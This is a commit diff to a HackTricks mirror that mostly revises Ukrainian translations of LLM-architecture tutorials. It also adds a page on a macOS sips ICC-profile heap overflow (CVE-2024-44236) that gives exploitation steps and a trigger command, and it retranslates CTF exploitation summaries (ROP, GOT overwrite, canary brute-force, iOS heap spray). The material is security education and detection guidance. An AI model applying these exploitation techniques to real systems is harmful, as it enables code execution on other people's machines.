mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll
This commit is contained in:
parent
1f6db9f836
commit
1f2a3be14d
@ -42,7 +42,7 @@ _(Припускаючи, що `[UNK]` має ID `987`)_
|
||||
- Ітеративно об'єднує найбільш часті пари токенів в один токен.
|
||||
- Продовжує, поки не залишиться жодної частої пари, яку можна об'єднати.
|
||||
- **Переваги:**
|
||||
- Вилучає необхідність у токені `[UNK]`, оскільки всі слова можуть бути представлені шляхом об'єднання існуючих підсловних токенів.
|
||||
- Вилучає необхідність у токені `[UNK]`, оскільки всі слова можуть бути представлені шляхом комбінування існуючих підсловних токенів.
|
||||
- Більш ефективний і гнучкий словник.
|
||||
- _Приклад:_\
|
||||
`"грає"` може бути токенізовано як `["грати", "є"]`, якщо `"грати"` та `"є"` є частими підсловами.
|
||||
@ -73,7 +73,7 @@ _(Припускаючи, що `[UNK]` має ID `987`)_
|
||||
|
||||
## Приклад коду
|
||||
|
||||
Давайте зрозуміємо це краще з прикладу коду з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Давайте краще зрозуміємо це з прикладу коду з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Вибірка Даних**
|
||||
|
||||
**Вибірка Даних** є важливим процесом підготовки даних для навчання великих мовних моделей (LLMs), таких як GPT. Це включає організацію текстових даних у вхідні та цільові послідовності, які модель використовує для навчання передбачення наступного слова (або токена) на основі попередніх слів. Правильна вибірка даних забезпечує ефективне захоплення мовних патернів і залежностей моделлю.
|
||||
**Вибірка Даних** є важливим процесом підготовки даних для навчання великих мовних моделей (LLMs), таких як GPT. Це передбачає організацію текстових даних у вхідні та цільові послідовності, які модель використовує для навчання, як передбачити наступне слово (або токен) на основі попередніх слів. Правильна вибірка даних забезпечує ефективне захоплення мовних патернів і залежностей моделлю.
|
||||
|
||||
> [!TIP]
|
||||
> Мета цього другого етапу дуже проста: **Вибрати вхідні дані та підготувати їх для етапу навчання, зазвичай розділяючи набір даних на речення певної довжини та також генеруючи очікувану відповідь.**
|
||||
@ -30,7 +30,7 @@ LLMs, такі як GPT, навчаються генерувати або пер
|
||||
```
|
||||
**Токенізація**
|
||||
|
||||
Припустимо, що ми використовуємо **базовий токенізатор**, який розділяє текст на слова та розділові знаки:
|
||||
Припустимо, ми використовуємо **базовий токенізатор**, який розділяє текст на слова та розділові знаки:
|
||||
```vbnet
|
||||
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
|
||||
```
|
||||
@ -85,9 +85,9 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
|
||||
**Розуміння кроку**
|
||||
|
||||
- **Крок 1:** Вікно рухається вперед на один токен щоразу, що призводить до сильно перекриваючих послідовностей. Це може призвести до кращого навчання контекстуальних зв'язків, але може збільшити ризик перенавчання, оскільки подібні дані повторюються.
|
||||
- **Крок 1:** Вікно рухається вперед на один токен щоразу, що призводить до високої перекритості послідовностей. Це може призвести до кращого навчання контекстуальних зв'язків, але може збільшити ризик перенавчання, оскільки подібні дані повторюються.
|
||||
- **Крок 2:** Вікно рухається вперед на два токени щоразу, зменшуючи перекриття. Це зменшує надмірність і обчислювальне навантаження, але може пропустити деякі контекстуальні нюанси.
|
||||
- **Крок, рівний max_length:** Вікно рухається вперед на весь розмір вікна, що призводить до неперекриваючих послідовностей. Це мінімізує надмірність даних, але може обмежити здатність моделі вивчати залежності між послідовностями.
|
||||
- **Крок, рівний max_length:** Вікно рухається вперед на весь розмір вікна, що призводить до неперекриваючих послідовностей. Це мінімізує надмірність даних, але може обмежити здатність моделі вчитися залежностям між послідовностями.
|
||||
|
||||
**Приклад з кроком 2:**
|
||||
|
||||
|
@ -70,7 +70,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
**Інтерпретація:**
|
||||
|
||||
- Токен з індексом `3` представлений вектором `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Ці значення є параметрами, що підлягають навчання, які модель буде коригувати під час навчання, щоб краще відобразити контекст і значення токена.
|
||||
- Ці значення є навчальними параметрами, які модель буде коригувати під час навчання, щоб краще відобразити контекст і значення токена.
|
||||
|
||||
### **Як працюють токенні вбудування під час навчання**
|
||||
|
||||
@ -123,34 +123,34 @@ cssCopy codeBatch
|
||||
- Кожен токен у послідовності представлений 256-вимірним вектором.
|
||||
- Модель обробляє ці вектори для вивчення мовних патернів та генерації прогнозів.
|
||||
|
||||
## **Позиційні Вектори: Додавання Контексту до Токенів**
|
||||
## **Позиційні вектори: Додавання контексту до токенів**
|
||||
|
||||
Хоча токенові вектори захоплюють значення окремих токенів, вони не закодовані за замовчуванням у позиції токенів у послідовності. Розуміння порядку токенів є критично важливим для розуміння мови. Тут на допомогу приходять **позиційні вектори**.
|
||||
Хоча токенові вектори захоплюють значення окремих токенів, вони не закодовані за замовчуванням з позицією токенів у послідовності. Розуміння порядку токенів є критично важливим для розуміння мови. Тут на допомогу приходять **позиційні вектори**.
|
||||
|
||||
### **Чому Потрібні Позиційні Вектори:**
|
||||
### **Чому потрібні позиційні вектори:**
|
||||
|
||||
- **Порядок Токенів Має Значення:** У реченнях значення часто залежить від порядку слів. Наприклад, "Кіт сидів на килимку" проти "Килимок сидів на коті."
|
||||
- **Обмеження Векторів:** Без позиційної інформації модель розглядає токени як "мішок слів", ігноруючи їх послідовність.
|
||||
- **Порядок токенів має значення:** У реченнях значення часто залежить від порядку слів. Наприклад, "Кіт сидів на килимку" проти "Килимок сидів на коті."
|
||||
- **Обмеження векторів:** Без позиційної інформації модель розглядає токени як "мішок слів", ігноруючи їх послідовність.
|
||||
|
||||
### **Типи Позиційних Векторів:**
|
||||
### **Типи позиційних векторів:**
|
||||
|
||||
1. **Абсолютні Позиційні Вектори:**
|
||||
1. **Абсолютні позиційні вектори:**
|
||||
- Призначають унікальний вектор позиції для кожної позиції в послідовності.
|
||||
- **Приклад:** Перший токен у будь-якій послідовності має один і той же позиційний вектор, другий токен має інший, і так далі.
|
||||
- **Використовуються:** Моделями GPT від OpenAI.
|
||||
2. **Відносні Позиційні Вектори:**
|
||||
- **Приклад:** Перший токен у будь-якій послідовності має той самий позиційний вектор, другий токен має інший і так далі.
|
||||
- **Використовується:** Моделями GPT від OpenAI.
|
||||
2. **Відносні позиційні вектори:**
|
||||
- Кодують відносну відстань між токенами, а не їх абсолютні позиції.
|
||||
- **Приклад:** Вказують, наскільки далеко один токен від іншого, незалежно від їх абсолютних позицій у послідовності.
|
||||
- **Використовуються:** Моделями, такими як Transformer-XL та деякими варіантами BERT.
|
||||
- **Використовується:** Моделями, такими як Transformer-XL та деякими варіантами BERT.
|
||||
|
||||
### **Як Інтегруються Позиційні Вектори:**
|
||||
### **Як інтегруються позиційні вектори:**
|
||||
|
||||
- **Ті ж Розміри:** Позиційні вектори мають таку ж розмірність, як токенові вектори.
|
||||
- **Додавання:** Вони додаються до токенових векторів, поєднуючи ідентичність токенів з позиційною інформацією без збільшення загальної розмірності.
|
||||
- **Ті ж розміри:** Позиційні вектори мають таку ж розмірність, як і токенові вектори.
|
||||
- **Додавання:** Вони додаються до токенових векторів, поєднуючи ідентичність токена з позиційною інформацією без збільшення загальної розмірності.
|
||||
|
||||
**Приклад Додавання Позиційних Векторів:**
|
||||
**Приклад додавання позиційних векторів:**
|
||||
|
||||
Припустимо, вектор токену має значення `[0.5, -0.2, 0.1]`, а його позиційний вектор має значення `[0.1, 0.3, -0.1]`. Об'єднаний вектор, що використовується моделлю, буде:
|
||||
Припустимо, вектор токена дорівнює `[0.5, -0.2, 0.1]`, а його позиційний вектор дорівнює `[0.1, 0.3, -0.1]`. Об'єднаний вектор, що використовується моделлю, буде:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
|
@ -23,7 +23,7 @@ A high level representation can be observed in:
|
||||
- **Feed Forward Layer**: Відповідає за обробку інформації з шару уваги та прогнозування наступного токена.
|
||||
- **Dropout Layers**: Ці шари запобігають перенавчанню, випадковим чином відключаючи одиниці під час навчання.
|
||||
4. **Final Output Layer**: Модель виводить **тензор розміром 4x50,257**, де **50,257** представляє розмір словника. Кожен рядок у цьому тензорі відповідає вектору, який модель використовує для прогнозування наступного слова в послідовності.
|
||||
5. **Goal**: Мета полягає в тому, щоб взяти ці вбудовування та перетворити їх назад у текст. Конкретно, останній рядок виходу використовується для генерації наступного слова, представленого як "вперед" у цій діаграмі.
|
||||
5. **Goal**: Мета полягає в тому, щоб взяти ці вбудовування та перетворити їх назад у текст. Конкретно, останній рядок виходу використовується для генерації наступного слова, представленого як "forward" у цій діаграмі.
|
||||
|
||||
### Code representation
|
||||
```python
|
||||
@ -252,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
- **Другий Лінійний Шар:** Зменшує розмірність назад до `emb_dim`.
|
||||
|
||||
> [!TIP]
|
||||
> Як ви можете бачити, мережа Feed Forward використовує 3 шари. Перший - це лінійний шар, який множить розміри на 4, використовуючи лінійні ваги (параметри для навчання всередині моделі). Потім функція GELU використовується у всіх цих вимірах, щоб застосувати нелінійні варіації для захоплення багатших представлень, і нарешті ще один лінійний шар використовується для повернення до початкового розміру вимірів.
|
||||
> Як ви можете бачити, мережа Feed Forward використовує 3 шари. Перший - це лінійний шар, який помножить розміри на 4, використовуючи лінійні ваги (параметри для навчання всередині моделі). Потім функція GELU використовується у всіх цих вимірах, щоб застосувати нелінійні варіації для захоплення багатших представлень, а в кінці ще один лінійний шар використовується, щоб повернутися до початкового розміру вимірів.
|
||||
|
||||
### **Механізм Багатоголової Уваги**
|
||||
|
||||
@ -273,7 +273,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> [!TIP]
|
||||
> Мета цієї мережі - знайти відносини між токенами в одному контексті. Більше того, токени діляться на різні голови, щоб запобігти перенавчанню, хоча фінальні відносини, знайдені для кожної голови, об'єднуються в кінці цієї мережі.
|
||||
>
|
||||
> Більше того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, і також застосовується **dropout** для **запобігання перенавчанню**.
|
||||
> Більше того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, а також застосовується **dropout** для **запобігання перенавчанню**.
|
||||
|
||||
### **Нормалізація** Шарів
|
||||
```python
|
||||
@ -306,7 +306,7 @@ return self.scale * norm_x + self.shift
|
||||
> [!TIP]
|
||||
> Мета полягає в тому, щоб забезпечити середнє значення 0 з дисперсією 1 по всіх вимірах одного й того ж токена. Мета цього - **стабілізувати навчання глибоких нейронних мереж** шляхом зменшення внутрішнього зміщення коваріат, що відноситься до зміни розподілу активацій мережі через оновлення параметрів під час навчання.
|
||||
|
||||
### **Блок Трансформера**
|
||||
### **Transformer Block**
|
||||
|
||||
_Форми були додані як коментарі для кращого розуміння форм матриць:_
|
||||
```python
|
||||
@ -353,28 +353,28 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
- **Складові Шарів:** Поєднує багатоголову увагу, мережу прямого проходження, нормалізацію шарів та залишкові з'єднання.
|
||||
- **Нормалізація Шарів:** Застосовується перед шарами уваги та прямого проходження для стабільного навчання.
|
||||
- **Залишкові З'єднання (Швидкі З'єднання):** Додають вхід шару до його виходу для покращення потоку градієнтів та можливості навчання глибоких мереж.
|
||||
- **Випадкове Випадання:** Застосовується після шарів уваги та прямого проходження для регуляризації.
|
||||
- **Випадкове Вимкнення:** Застосовується після шарів уваги та прямого проходження для регуляризації.
|
||||
|
||||
#### **Покрокова Функціональність**
|
||||
|
||||
1. **Перший Залишковий Шлях (Само-Увага):**
|
||||
- **Вхід (`shortcut`):** Зберегти оригінальний вхід для залишкового з'єднання.
|
||||
- **Нормалізація Шару (`norm1`):** Нормалізувати вхід.
|
||||
- **Багатоголове Увага (`att`):** Застосувати само-увагу.
|
||||
- **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання для регуляризації.
|
||||
- **Багатоголова Увага (`att`):** Застосувати само-увагу.
|
||||
- **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення для регуляризації.
|
||||
- **Додати Залишок (`x + shortcut`):** Об'єднати з оригінальним входом.
|
||||
2. **Другий Залишковий Шлях (Прямий Прохід):**
|
||||
- **Вхід (`shortcut`):** Зберегти оновлений вхід для наступного залишкового з'єднання.
|
||||
- **Нормалізація Шару (`norm2`):** Нормалізувати вхід.
|
||||
- **Мережа Прямого Проходження (`ff`):** Застосувати трансформацію прямого проходження.
|
||||
- **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання.
|
||||
- **Мережа Прямого Проходження (`ff`):** Застосувати перетворення прямого проходження.
|
||||
- **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення.
|
||||
- **Додати Залишок (`x + shortcut`):** Об'єднати з входом з першого залишкового шляху.
|
||||
|
||||
> [!TIP]
|
||||
> Блок трансформера об'єднує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові випадання** для покращення стабільності навчання та результатів.\
|
||||
> Зверніть увагу, як випадкові випадання виконуються після використання кожної мережі, тоді як нормалізація застосовується перед.
|
||||
> Блок трансформера об'єднує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові вимкнення** для покращення стабільності навчання та результатів.\
|
||||
> Зверніть увагу, як випадкові вимкнення виконуються після використання кожної мережі, тоді як нормалізація застосовується перед.
|
||||
>
|
||||
> Крім того, він також використовує швидкі з'єднання, які полягають у **додаванні виходу мережі до її входу**. Це допомагає запобігти проблемі зникнення градієнта, забезпечуючи, щоб початкові шари вносили "стільки ж", скільки останні.
|
||||
> Більше того, він також використовує швидкі з'єднання, які полягають у **додаванні виходу мережі до її входу**. Це допомагає запобігти проблемі зникнення градієнта, забезпечуючи, щоб початкові шари вносили "стільки ж" внеску, як і останні.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
@ -448,7 +448,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
>
|
||||
> Зверніть увагу, як він **використовуватиме стільки трансформерних блоків, скільки вказано**, і що кожен трансформерний блок використовує одну мережу з багатоголовим увагою, одну мережу прямого проходження та кілька нормалізацій. Тож якщо використовується 12 трансформерних блоків, помножте це на 12.
|
||||
>
|
||||
> Більше того, **шар нормалізації** додається **перед** **виходом**, а фінальний лінійний шар застосовується в кінці, щоб отримати результати з правильними розмірами. Зверніть увагу, що кожен фінальний вектор має розмір використаного словника. Це тому, що він намагається отримати ймовірність для кожного можливого токена в словнику.
|
||||
> Більше того, **шар нормалізації** додається **перед** **виходом**, і в кінці застосовується фінальний лінійний шар, щоб отримати результати з правильними розмірами. Зверніть увагу, що кожен фінальний вектор має розмір використаного словника. Це тому, що він намагається отримати ймовірність для кожного можливого токена в словнику.
|
||||
|
||||
## Кількість параметрів для навчання
|
||||
|
||||
@ -610,9 +610,9 @@ total_params = 163,009,536
|
||||
```
|
||||
## Генерація тексту
|
||||
|
||||
Маючи модель, яка передбачає наступний токен, як і попередній, потрібно просто взяти останні значення токенів з виходу (оскільки вони будуть значеннями передбаченого токена), які будуть **значенням на запис у словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого запису, який буде індексом слова в словнику.
|
||||
Маючи модель, яка передбачає наступний токен, як попередній, потрібно просто взяти останні значення токенів з виходу (оскільки вони будуть значеннями передбаченого токена), які будуть **значенням на запис у словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого запису, який буде індексом слова в словнику.
|
||||
|
||||
Код з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
|
@ -795,6 +795,7 @@
|
||||
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
|
||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
|
||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
|
||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
|
@ -0,0 +1,53 @@
|
||||
# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
|
||||
Уразливість запису за межами меж у парсері ICC профілів Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) через неналежну валідацію поля `offsetToCLUT` у тегах `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Створений ICC файл може викликати нульові записи до 16 байтів за межами буфера купи, пошкоджуючи метадані купи або вказівники функцій і дозволяючи виконання довільного коду (CVE-2024-44236).
|
||||
|
||||
## Уразливий код
|
||||
|
||||
Уразлива функція читає та обнуляє 16 байтів, починаючи з контролюваного зловмисником зсуву, не забезпечуючи, що він знаходиться в межах виділеного буфера:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
}
|
||||
```
|
||||
Виконується лише перевірка `offsetToCLUT <= totalDataLength`. Встановивши `offsetToCLUT == tagDataSize`, цикл індексує до 16 байтів за межами `buffer`, пошкоджуючи сусідні метадані купи.
|
||||
|
||||
## Кроки експлуатації
|
||||
|
||||
1. **Створити шкідливий `.icc` профіль:**
|
||||
- Побудуйте заголовок ICC (128 байтів) з підписом `acsp` та єдиним записом тегу `lutAToBType` або `lutBToAType`.
|
||||
- У таблиці тегів встановіть `offsetToCLUT` рівним `size` тегу (`tagDataSize`).
|
||||
- Розмістіть дані, контрольовані атакуючим, безпосередньо після блоку даних тегу, щоб перезаписати метадані купи.
|
||||
2. **Запустіть парсинг:**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
```
|
||||
|
||||
3. **Пошкодження метаданих купи:** OOB нульові записи перезаписують метадані аллокатора або сусідні вказівники, що дозволяє атакуючому захопити контроль над потоком виконання та досягти виконання довільного коду в контексті процесу `sips`.
|
||||
|
||||
## Вплив
|
||||
|
||||
Успішна експлуатація призводить до віддаленого виконання довільного коду з правами користувача на системах macOS, що виконують вразливу утиліту `sips`.
|
||||
|
||||
## Виявлення
|
||||
|
||||
- Моніторинг передачі файлів за загальними протоколами (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Перевірка переданих файлів з підписом `acsp`.
|
||||
- Для кожного тегу `mAB ` або `mBA ` перевірте, чи дорівнює поле `Offset to CLUT` `Tag data size`.
|
||||
- Позначте як підозріле, якщо ця умова виконується.
|
||||
|
||||
## Посилання
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Вразливість віддаленого виконання коду в утиліті Apple macOS sips
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Оновлення безпеки Apple жовтня 2024 року (патч для CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
@ -11,8 +11,10 @@
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Є **2 колізійні масиви**, один для **адрес**, де зберігаються дані, і один з **розмірами** цих даних. Можливо перезаписати один з іншого, що дозволяє записати довільну адресу, вказуючи її як розмір. Це дозволяє записати адресу функції `free` в таблиці GOT, а потім перезаписати її адресою до `system` і викликати free з пам'яті з `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 біти, без nx. Перезаписати розмір, щоб отримати свого роду переповнення буфера, де все буде використовуватися як подвоєне число і сортуватися від найменшого до найбільшого, тому потрібно створити shellcode, який відповідає цій вимозі, враховуючи, що канарейка не повинна бути переміщена з її позиції, і нарешті перезаписати RIP адресою до ret, яка відповідає попереднім вимогам, і помістити найбільшу адресу на нову адресу, що вказує на початок стеку (викрита програмою), щоб можна було використовувати ret для стрибка туди.
|
||||
- 64 біти, без nx. Перезаписати розмір, щоб отримати свого роду переповнення буфера, де все буде використовуватися як подвоєне число і сортуватися від найменшого до найбільшого, тому потрібно створити shellcode, який відповідає цій вимозі, враховуючи, що канарейка не повинна бути переміщена з її позиції, і врешті-решт перезаписати RIP адресою для ret, яка відповідає попереднім вимогам, і помістити найбільшу адресу на нову адресу, що вказує на початок стеку (викрита програмою), щоб можна було використовувати ret для стрибка туди.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 біти, без relro, канарейка, nx, без pie. Є off-by-one в масиві в стеку, що дозволяє контролювати вказівник, надаючи WWW (він записує суму всіх чисел масиву в перезаписаній адресі через off-by-one в масиві). Стек контролюється, тому адреса GOT `exit` перезаписується на `pop rdi; ret`, а в стеку додається адреса до `main` (зациклюючись назад на `main`). Використовується ланцюг ROP для викриття адреси put в GOT за допомогою puts (`exit` буде викликано, тому він викликатиме `pop rdi; ret`, отже, виконуючи цей ланцюг у стеку). Нарешті, використовується новий ланцюг ROP, що виконує ret2lib.
|
||||
- 64 біти, без relro, канарейка, nx, без pie. Є off-by-one в масиві в стеку, який дозволяє контролювати вказівник, надаючи WWW (він записує суму всіх чисел масиву в перезаписаній адресі через off-by-one в масиві). Стек контролюється, тому адреса GOT `exit` перезаписується на `pop rdi; ret`, а в стеку додається адреса до `main` (зациклюючись назад на `main`). Використовується ланцюг ROP для викриття адреси put в GOT за допомогою puts (`exit` буде викликано, тому він викликатиме `pop rdi; ret`, отже, виконуючи цей ланцюг у стеку). Нарешті, використовується новий ланцюг ROP, що виконує ret2lib.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 біти, без relro, без канарейки, nx, pie. Зловживання поганою індексацією для викриття адрес libc і heap зі стеку. Зловживання переповненням буфера для виконання ret2lib, викликаючи `system('/bin/sh')` (адреса heap потрібна для обходу перевірки).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -6,15 +6,15 @@
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\
|
||||
> Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою **forking child processes кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), тому що кожного разу, коли ви підключаєтеся до нього, **використовується одна й та ж канарка**.
|
||||
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою, **яка створює дочірні процеси щоразу, коли ви встановлюєте нове з'єднання** з нею (мережевий сервіс), оскільки щоразу, коли ви підключаєтеся до неї, **використовується одна й та ж канарка**.
|
||||
|
||||
Отже, найкращий спосіб обійти канарку - це просто **brute-force її символ за символом**, і ви можете з'ясувати, чи правильний вгаданий байт канарки, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція **brute-forces 8 байт канарки (x64)** і розрізняє між правильно вгаданим байтом і поганим байтом, просто **перевіряючи**, чи **відповідь** надіслана сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**):
|
||||
Отже, найкращий спосіб обійти канарку - це просто **використовувати брутфорс по символах**, і ви можете з'ясувати, чи правильний байт канарки, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція **брутфорсить 8 байт канарки (x64)** і розрізняє між правильно вгаданим байтом і неправильним байтом, просто **перевіряючи**, чи **відповідь** надіслана назад сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**):
|
||||
|
||||
### Example 1
|
||||
|
||||
@ -101,17 +101,22 @@ target = process('./feedme')
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Threads
|
||||
## Потоки
|
||||
|
||||
Потоки одного процесу також **ділять один і той же токен канарки**, тому буде можливим **брутфорсити** канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака.
|
||||
|
||||
Більше того, **переповнення буфера в багатопоточній функції**, захищеній канаркою, може бути використано для **модифікації майстер-канарки, збереженої в TLS**. Це пов'язано з тим, що може бути можливим досягти позиції в пам'яті, де зберігається TLS (а отже, і канарка) через **переповнення буфера в стеку** потоку.\
|
||||
Більше того, **переповнення буфера в поточній функції**, захищеній канаркою, може бути використано для **модифікації майстер-канарки, збереженої в TLS**. Це пов'язано з тим, що може бути можливим досягти позиції в пам'яті, де зберігається TLS (а отже, і канарка) через **переповнення буфера в стеку** потоку.\
|
||||
В результаті, пом'якшення є марним, оскільки перевірка використовується з двома канарками, які є однаковими (хоча модифікованими).\
|
||||
Ця атака описана в звіті: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Перегляньте також презентацію [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), яка згадує, що зазвичай **TLS** зберігається за допомогою **`mmap`**, і коли створюється **стек** **потоку**, він також генерується за допомогою `mmap`, що може дозволити переповнення, як показано в попередньому звіті.
|
||||
|
||||
## Other examples & references
|
||||
## Інші приклади та посилання
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 біти, без PIE, nx, BF канарка, записати в пам'ять ROP для виклику `execve` і стрибка туди.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Управління пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює діапазон від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
|
||||
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
|
||||
|
||||
#### Рівні таблиць сторінок в iOS
|
||||
|
||||
@ -35,11 +35,11 @@
|
||||
|
||||
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**:
|
||||
|
||||
1. **L1 Таблиця**:
|
||||
1. **Таблиця L1**:
|
||||
* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
|
||||
2. **L2 Таблиця**:
|
||||
2. **Таблиця L2**:
|
||||
* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди.
|
||||
3. **L3 Таблиця**:
|
||||
3. **Таблиця L3**:
|
||||
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
|
||||
|
||||
#### Приклад відображення адреси
|
||||
@ -140,7 +140,7 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
